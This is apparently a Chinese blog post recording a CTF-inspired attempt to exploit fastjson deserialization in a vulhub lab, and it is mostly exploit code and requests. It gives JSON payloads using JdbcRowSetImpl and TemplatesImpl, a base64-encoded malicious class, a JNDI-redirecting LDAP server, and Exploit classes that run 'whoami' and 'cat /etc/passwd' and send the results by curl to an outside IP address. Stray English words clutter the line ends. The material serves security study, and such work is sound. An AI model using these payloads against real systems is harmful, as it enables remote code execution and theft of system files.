比賽遇到了,一直沒利用成功,這裏作個記錄。html
首先用 vulhub
搭建 fastjson
的漏洞環境。java
漏洞環境程序的邏輯爲接收 body
的數據而後用 fastjson
解析。git
首先咱們須要確認是否存在漏洞,能夠採起讓服務器發請求到咱們的公網 vps
github
POST / HTTP/1.1 Host: 192.168.245.128:8080 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 112 {"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://104.223.70.183:1099/Object","autoCommit":true}
沒成功web
來源shell
https://lazydog.me/post/fastjson-JdbcRowSetImpl-rce-exploit.html#3-L18
就是 vulhub
自帶的一種利用方案。apache
首先編譯 poc
獲得字節碼json
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Poc extends AbstractTranslet { public Poc() throws IOException { Runtime.getRuntime().exec("curl http://104.223.70.183:3333/eeee"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { } public static void main(String[] args) throws Exception { Poc t = new Poc(); } }
而後把 .class
文件作 base64
加密數組
import base64 fin = open(r"Poc.class", "rb") fout = open(r"en.txt", "w") s = base64.encodestring(fin.read()).replace("\n", "") fout.write(s) fin.close() fout.close()
修改 json
的 _bytecodes
爲 剛剛生成的 base64
文本 :服務器
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMUG9jOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGFGbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcALwwAMAAxAQAkY3VybCBodHRwOi8vMTA0LjIyMy43MC4xODM6MzMzMy9lZWVlDAAyADMBAANQb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACwAEAAwADQANAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEQAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAZAAgAGgAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
發送到服務器
首先起一個 ldap
服務
package person.server; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; /** * LDAP server implementation returning JNDI references * * @author mbechler * */ public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] args ) { int port = 1389; if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) { System.err.println(LdapServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$ System.exit(-1); } else if ( args.length > 1 ) { port = Integer.parseInt(args[ 1 ]); } try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor ( URL cb ) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
參數爲
http://104.223.70.183:8000/#Exploit 389
表示獲取 http://104.223.70.183:8000/Exploit.class
的內容做爲 payload
, 服務監聽在 389
端口。
編譯 Exploit.class
import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.InputStreamReader; public class Exploit { public static String exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String lineStr; while ((lineStr = inBr.readLine()) != null) sb += lineStr + "\n"; inBr.close(); in.close(); return sb; } public Exploit() throws Exception { String result = ""; result = exec("whoami"); String cmd = "curl http://104.223.70.183/" + result; throw new Exception(exec(cmd)); } public static void main(String[] args) throws Exception { String result = ""; result = exec("whoami"); String cmd = "curl http://104.223.70.183/" + result; throw new Exception(exec(cmd)); } }
而後發送 poc
過去。
POST / HTTP/1.1 Host: 192.168.245.128:8080 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 113 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://104.223.70.183:389/Exploit", "autoCommit":true}
嘗試了不少方法都反彈不了 shell
, 這裏給一種折中的辦法,首先執行命令,而後把結果 16
進制編碼,而後用 curl
傳出來
import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.ByteArrayOutputStream; import java.io.InputStreamReader; public class Exploit { //轉化字符串爲十六進制編碼 public static String toHexString(String s) { String str = ""; for (int i = 0; i < s.length(); i++) { int ch = (int) s.charAt(i); String s4 = Integer.toHexString(ch); str = str + s4; } return str; } // 轉化十六進制編碼爲字符串 public static String toStringHex1(String s) { byte[] baKeyword = new byte[s.length() / 2]; for (int i = 0; i < baKeyword.length; i++) { try { baKeyword[i] = (byte) (0xff & Integer.parseInt(s.substring( i * 2, i * 2 + 2), 16)); } catch (Exception e) { e.printStackTrace(); } } try { s = new String(baKeyword, "utf-8");// UTF-16le:Not } catch (Exception e1) { e1.printStackTrace(); } return s; } // 轉化十六進制編碼爲字符串 public static String toStringHex2(String s) { byte[] baKeyword = new byte[s.length() / 2]; for (int i = 0; i < baKeyword.length; i++) { try { baKeyword[i] = (byte) (0xff & Integer.parseInt(s.substring( i * 2, i * 2 + 2), 16)); } catch (Exception e) { e.printStackTrace(); } } try { s = new String(baKeyword, "utf-8");// UTF-16le:Not } catch (Exception e1) { e1.printStackTrace(); } return s; } public static void main(String[] args) { System.out.println(encode("中文")); System.out.println(decode(encode("中文"))); } /* * 16進制數字字符集 */ private static String hexString = "0123456789ABCDEF"; /* * 將字符串編碼成16進制數字,適用於全部字符(包括中文) */ public static String encode(String str) { // 根據默認編碼獲取字節數組 byte[] bytes = str.getBytes(); StringBuilder sb = new StringBuilder(bytes.length * 2); // 將字節數組中每一個字節拆解成2位16進制整數 for (int i = 0; i < bytes.length; i++) { sb.append(hexString.charAt((bytes[i] & 0xf0) >> 4)); sb.append(hexString.charAt((bytes[i] & 0x0f) >> 0)); } return sb.toString(); } /* * 將16進制數字解碼成字符串,適用於全部字符(包括中文) */ public static String decode(String bytes) { ByteArrayOutputStream baos = new ByteArrayOutputStream( bytes.length() / 2); // 將每2位16進制整數組裝成一個字節 for (int i = 0; i < bytes.length(); i += 2) baos.write((hexString.indexOf(bytes.charAt(i)) << 4 | hexString .indexOf(bytes.charAt(i + 1)))); return new String(baos.toByteArray()); } public static String exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String lineStr; while ((lineStr = inBr.readLine()) != null) sb += lineStr + "\n"; inBr.close(); in.close(); return sb; } public Exploit() throws Exception { String result = ""; result = encode(exec("cat /etc/passwd")); String cmd = String.format("curl -d \"%s\" http://104.223.70.183/ ", result); throw new Exception(exec(cmd)); } }
https://xz.aliyun.com/t/2897#toc-13 https://github.com/shengqi158/fastjson-remote-code-execute-poc